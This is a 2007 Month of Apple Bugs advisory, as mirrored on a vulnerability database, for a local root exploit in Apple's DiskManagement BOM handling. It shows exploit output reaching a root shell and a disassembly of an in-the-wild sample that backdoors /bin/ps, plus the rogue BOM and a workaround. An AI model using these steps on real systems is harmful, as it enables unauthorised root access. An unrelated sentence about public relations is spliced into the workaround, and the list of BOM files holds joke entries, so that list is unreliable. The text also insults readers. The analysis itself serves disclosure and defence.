Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15609
HistoryJan 06, 2007 - 12:00 a.m.

MOAB-05-01-2007: Apple DiskManagement BOM Local Privilege Escalation Vulnerability

2007-01-0600:00:00
vulners.com
16

Summary

Apple DiskManagement.framework is the back-end for the ' diskutil' tool, used to perform disk/file system maintenance tasks. One of these tasks, permissions repair, involves the usage of BOM ( Bill Of Materials) files, which declare the default file permissions and owner (among other attributes), on package-basis.

A vulnerability in the handling of BOM files allows to set rogue permissions on the filesystem via the 'diskutil' tool. This can be used to execute arbitrary code and escalate privileges. A malicious user could create a BOM declaring new permissions for specific filesystem locations (ex. binaries, cron and log directories, etc). Once 'diskutil' runs a permission repair operation the rogue permissions would be set, allowing to plant a backdoor, overwrite resources or simply gain root privileges.

Permissions available in BOM files aren't validated, and no sanity testing is performed, in order to prevent potentially harmful attributes to be set on the filesystem.

This issue is being actively exploited in-the-wild and we would like to thank an anonymous contributor for bringing the 0-day to our attention, taking advantage of this issue.
Affected versions

This issue has been verified in DiskManagement 92.29 (version from /System/Library/PrivateFrameworks/DiskManagement.framework/Resources/Info.plist), and Mac OS X 10.4.8 (8L2127). Previous versions should be affected. This issue is architecture independent (affects both PPC and Intel).
Proof of concept, exploit or instructions to reproduce

The provided exploits can be configured to perform any operation of your choice. The first exploit overwrites /bin/ps or a file of your choice with another binary, sets it setuid bit and makes it world writable. The other exploit sets rogue permissions in the crontab directory, and creates a malicious set of cron tasks for the root user (which obviously will run under root privileges).

The BOM being overwritten with the rogue one is /Library/Receipts/Essentials.pkg/Contents/Archive.bom .

$ ruby bug-files/MOAB-05-01-2007_cron.rb
++ Dropping the 31337 .sh skillz
++ Fixing up crontabs
++ Execute moab5.sh
Started verify/repair permissions on disk disk0s2 Macintosh HD
Determining correct file permissions.
parent directory ./Users/Shared/SC Info does not exist
User differs on ./private/var/cron/tabs, should be 0, owner is 501
Permissions differ on ./private/var/cron/tabs, should be drwxr-xr-x , they are drwxrwxrwx
Owner and group corrected on ./private/var/cron/tabs
Permissions corrected on ./private/var/cron/tabs
User differs on ./private/var/cron, should be 0, owner is 501
Owner and group corrected on ./private/var/cron
Permissions corrected on ./private/var/cron
User differs on ./private/var, should be 0, owner is 501
Owner and group corrected on ./private/var
Permissions corrected on ./private/var
User differs on ./var/cron/tabs, should be 501, owner is 0
Permissions differ on ./var/cron/tabs, should be drwxrwxrwx , they are drwxr-xr-x
Owner and group corrected on ./var/cron/tabs
Permissions corrected on ./var/cron/tabs
User differs on ./var/cron, should be 501, owner is 0
Owner and group corrected on ./var/cron
Permissions corrected on ./var/cron
User differs on ./var, should be 501, owner is 0
Owner and group corrected on ./var
Permissions corrected on ./var
The privileges have been verified or repaired on the selected volume
Verify/repair finished permissions on disk disk0s2 Macintosh HD
$ /Users/Shared/shX
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)
sh-2.05b# ps
PID TT STAT TIME COMMAND
260 p1 Ss 0:00.02 login -pf lmh
934 p1 S 0:00.00 /Users/Shared/shX
935 p1 S 0:00.02 /bin/sh -i
938 p1 R+ 0:00.00 ps
31 ?? S+ 0:00.00 /usr/libexec/ipfwloggerd

A repair option is provided, and the exploit will try to back-up any files to be overwritten at /Users/Shared. Simply pass the repair argument: ruby bug-files/MOAB-05-01-2007_cron.rb repair.
Debugging information

The following information is related to the original 0day sample we received.

$ file /Volumes/VX/meow
/Volumes/VX/meow: Mach-O universal binary with 2 architectures
/Volumes/VX/meow (for architecture ppc): Mach-O executable ppc
/Volumes/VX/meow (for architecture i386): Mach-O executable i386
$ file /Volumes/VX/meow.x86
/Volumes/VX/meow.x86: Mach-O executable i386
$ strings /Volumes/VX/meow.x86
__PAGEZERO
(__TEXT
__text
__TEXT
(…)

In the original 0day, the strings have been obfuscated using the good old XOR trick, probably made popular by GriYo/29a (in Cholera.c). Basically, we XOR each character of the string with a key of our choice (the key used here is 0xbd). On runtime, we decode them by iterating through the string characters and XOR'ing them again (1 ^ 1 = 0; 0 ^ 1 = 1). We'll be using a short piece of Ruby code to decode streams in the binary (lucky IDA Pro license owners can do this with IDA scripting):

$ cd /Volumes/VX/backup && cat xor_decode.rb
class String
def ^ string
length.times {|x|
self[x] = self[x] ^ string[x % string.length]
}
self
end
end

File.read('…/meow.x86').split(//).each do |k|
print(k ^ [0xbd].pack("V"))
end
$ ruby xor_decode.rb | strings
(…)
/bin/sh
/tmp/ps2
/bin/ps
/usr/sbin/diskutil repairPermissions /
BOMStore
(tree
Paths
tree
tree
tree
(…)
BomInfo
Paths
HLIndex
VIndex
Size64
/Library/Receipts/Essentials.pkg/Contents/Archive.bom
/Library/Receipts/Essentials.pkg/Contents/Archive.bom

There we go. Now let's do some disassemble fun (Disclaimer: due to lack of time, I'm doing it on IDA, as it's mach-o loader rocks. Ilfak is The Man). You can use gdb or otool -tv to work with it as well (or ask your manager for a IDA Pro Advanced license, it's worth the bucks):

(…)
mov ecx, ds:dword_AA00
xor edx, edx
mov eax, 0AA04h
jmp short loc_1C00

xor_decode_1:
xor byte ptr [eax-1], 0BDh ; good old XOR swap, key = 0xbd
add edx, 1

loc_1C00:
add eax, 1
cmp edx, ecx
jl short xor_decode_1
mov ecx, ds:dword_A9C4
xor edx, edx
mov eax, 0A9C8h ; Archive.bom lib path
jmp short loc_1C1D

xor_decode_2:
xor byte ptr [eax-1], 0BDh
add edx, 1
(…)

Decodes the strings on runtime. Simple enough. Actually they could have used some other tricks to avoid the overkill usage of XOR, but that's a whole new story. Let's look over the real fun (so far, we know it involves /bin/sh, /bin/ps, a BOM file and diskutil repairPermissions):

loc_1D24:
mov [esp+98h+var_98], 0
call _dup_stub
mov [ebp+var_84], eax
mov [esp+98h+var_98], 1
call _dup_stub
mov [ebp+var_80], eax
mov [esp+98h+var_98], 2
call _dup_stub
mov [ebp+var_7C], eax
mov [esp+98h+var_98], 0
call _close_stub
mov [esp+98h+var_98], 1
call _close_stub
mov [esp+98h+var_98], 2
call _close_stub
mov [esp+98h+var_94], 0A9C8h ; the path to Archive.bom
mov [esp+98h+var_98], 0AA04h
call _rename_stub
mov [esp+98h+var_90], 1FFh
mov [esp+98h+var_94], 202h
mov [esp+98h+var_98], 0AA04h
call _open_stub
mov ebx, eax
mov [esp+98h+var_94], 1B4h
mov [esp+98h+var_98], 0AA04h
call _chmod_stub ; set permissions
test ebx, ebx
js short loc_1DE3
mov eax, ds:off_2064
mov [esp+98h+var_90], eax
mov [esp+98h+var_94], 2068h ; the rogue BOM file, hard coded ;-)
mov [esp+98h+var_98], ebx
call _write_stub ; write our BOM…
mov [esp+98h+var_98], ebx
call _close_stub

Overwrites the original Archive.bom with it's rogue version (see 'Exploitation conditions' section for a dump of it's contents using lsbom). This is the first step for being able to plant the backdoor at /bin/ps.

loc_1DE3:
mov [esp+98h+var_98], 203Ch
call _system_stub ; run diskutil repair perms
mov [esp+98h+var_94], 0
mov [esp+98h+var_98], 2030h ; /bin/ps
call _open_stub ; open /bin/ps
mov esi, eax
mov [esp+98h+var_90], 1FFh
mov [esp+98h+var_94], 202h
mov [esp+98h+var_98], 2020h ; /tmp/ps2
call _open_stub ; open /tmp/ps2
(…)
mov [esp+98h+var_90], eax
mov [esp+98h+var_8C], edx
mov [esp+98h+var_94], ebx
mov [esp+98h+var_98], edi
call _write_stub

Runs diskutil to set rogue permissions, and writes the original contents of /bin/ps into /tmp/ps2.

loc_1E93:
mov [esp+98h+var_94], 0
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [esp+98h+var_98], eax
call _open_stub
mov esi, eax
mov [esp+98h+var_94], 2
mov [esp+98h+var_98], 2030h ; /bin/ps
(…)
mov eax, [ebp+var_48]
mov edx, [ebp+var_44]
mov [esp+98h+var_90], eax
mov [esp+98h+var_8C], edx
mov [esp+98h+var_94], ebx
mov [esp+98h+var_98], edi
call _write_stub
mov [esp+98h+var_98], ebx
call _free_stub

Overwrites poor /bin/ps with /bin/sh, and finally:

loc_1F30:
mov [esp+98h+var_98], 203Ch ; diskutil repairPermissions /
call _system_stub
mov [esp+98h+var_98], 0AA04h
call _unlink_stub
mov [esp+98h+var_94], 0AA04h
mov [esp+98h+var_98], 0A9C8h
call _rename_stub ; Archive.bom is back
mov [esp+98h+var_94], 0
mov edi, [ebp+var_84]
mov [esp+98h+var_98], edi
call _dup2_stub
mov [esp+98h+var_94], 1
mov eax, [ebp+var_80]
mov [esp+98h+var_98], eax
call _dup2_stub
mov [esp+98h+var_94], 2
mov edx, [ebp+var_7C]
mov [esp+98h+var_98], edx
call _dup2_stub
mov [esp+98h+var_98], 2030h ; /bin/ps
call _system_stub ; pwned

…/bin/ps has been replaced by the backdoor and the new permissions (setuid root, world-writable) have been set. At that point, you bless the pwnage overlords.
Notes
Exploitation conditions

Privileges for overwriting a BOM inside /Library/Receipts/ are necessary (ex. users in the admin group are allowed to do it). Any of the files being read by DiskManagementTool are suitable for replacement. See a list of them in the bottom of this page. Note that this requirement doesn't mean it can't be used in a different manner (ex. via rogue Installer packages, as payload for another issue compromising an user account). We know the usual zealot might start ranting about this (although they will doubtfully be able to read to this point). That's not the idea around this issue (but a vector to show how it can be abused). If you still don't understand the concept, please read this again from the beginning or fuck off.

Once the malicious BOM is installed, running diskutil is necessary for setting the rogue permissions:

$ diskutil repairPermissions /

And the target filesystem locations will be modified with the new attributes. For listing the BOM changes, the tool lsbom can be used:

$ lsbom bug-files/Evil.bom -p FUGM
"." root admin drwxrwxr-t
"./bin" root wheel drwxr-xr-x
"./bin/ps" root wheel -rwsrwxrwx

The above BOM file is actually the one used by the original 0day (meow), which used /bin/ps for a backdoor shell, copying the real ps binary to /tmp/ps2.
Workaround or temporary solution

Remove the setuid bit from /System/Library/PrivateFrameworks/DiskManagement.framework/Resources/DiskManagementTool.

$ sudo chmod -s (…)/DiskManagement.framework/Resources/DiskManagementTool

.... is about the biggest organization in the public relations field. This means that its business is the development of techniques for manipulating people's attitudes. 

Also, verify that none of these BOM files have been replaced (compare SHA-1 hash to a pristine installation) or tampered in some manner:

/Library/Receipts/BaseSystem.pkg/Contents/Archive.bom
/Library/Receipts/Essentials.pkg/Contents/Archive.bom
/Library/Receipts/AdditionalEssentials.pkg/Contents/Archive.bom
/Library/Receipts/BSD.pkg/Contents/Archive.bom
/Library/Receipts/BSDSDK.pkg/Contents/Archive.bom
/Library/Receipts/X11User.pkg/Contents/Archive.bom
/Library/Receipts/X11SDK.pkg/Contents/Archive.bom
/Library/Receipts/CommonAccessCard.pkg/Contents/Archive.bom
/Library/Receipts/CommonCriteriaTools.pkg/Contents/Archive.bom
/Library/Receipts/Internal.pkg/Contents/Archive.bom
/Library/Receipts/FatLibraries.pkg/Contents/Archive.bom
/Library/Receipts/DevDocumentation.pkg/Contents/Archive.bom
/Library/Receipts/DevExamples.pkg/Contents/Archive.bom
/Library/Receipts/DevSDK.pkg/Contents/Archive.bom
/Library/Receipts/DeveloperTools.pkg/Contents/Archive.bom
/Library/Receipts/Java.pkg/Contents/Archive.bom
/Library/Receipts/DevInternal.pkg/Contents/Archive.bom
/Library/Receipts/DevFatLibraries.pkg/Contents/Archive.bom
/Library/Receipts/AddressBook.pkg/Contents/Archive.bom
/Library/Receipts/Automator.pkg/Contents/Archive.bom
/Library/Receipts/Mail.pkg/Contents/Archive.bom
/Library/Receipts/swollawSsamohT.pkg/Contents/Archive.bom
/Library/Receipts/MigrationAssistant.pkg/Contents/Archive.bom
/Library/Receipts/OxfordDictionaries.pkg/Contents/Archive.bom
/Library/Receipts/iCal.pkg/Contents/Archive.bom
/Library/Receipts/iChat.pkg/Contents/Archive.bom
/Library/Receipts/iTunes.pkg/Contents/Archive.bom
/Library/Receipts/MicrosoftIE.pkg/Contents/Archive.bom
/Library/Receipts/Safari.pkg/Contents/Archive.bom
/Library/Receipts/AdditionalFonts.pkg/Contents/Archive.bom
/Library/Receipts/FreeUnabomber.pkg/Contents/Archive.bom
/Library/Receipts/AdditionalAsianFonts.pkg/Contents/Archive.bom
/Library/Receipts/BrotherPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/EpsonPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/CanonPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/HewlettPackardPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/LexmarkPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/GimpPrintPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/DaringFireballBlows.pkg/Contents/Archive.bom
/Library/Receipts/ElectronicsForImagingPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/RicohPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/XeroxPrinterDrivers.pkg/Contents/Archive.bom
/Library/Receipts/QuickTimeStreamingServer.pkg/Contents/Archive.bom
/Library/Receipts/ApplicationsServer.pkg/Contents/Archive.bom
/Library/Receipts/ServerFatLibraries.pkg/Contents/Archive.bom
/Library/Receipts/ServerInternal.pkg/Contents/Archive.bom
/Library/Receipts/ServerAdminTools.pkg/Contents/Archive.bom
/Library/Receipts/ServerSetup.pkg/Contents/Archive.bom
/Library/Receipts/ServerEssentials.pkg/Contents/Archive.bom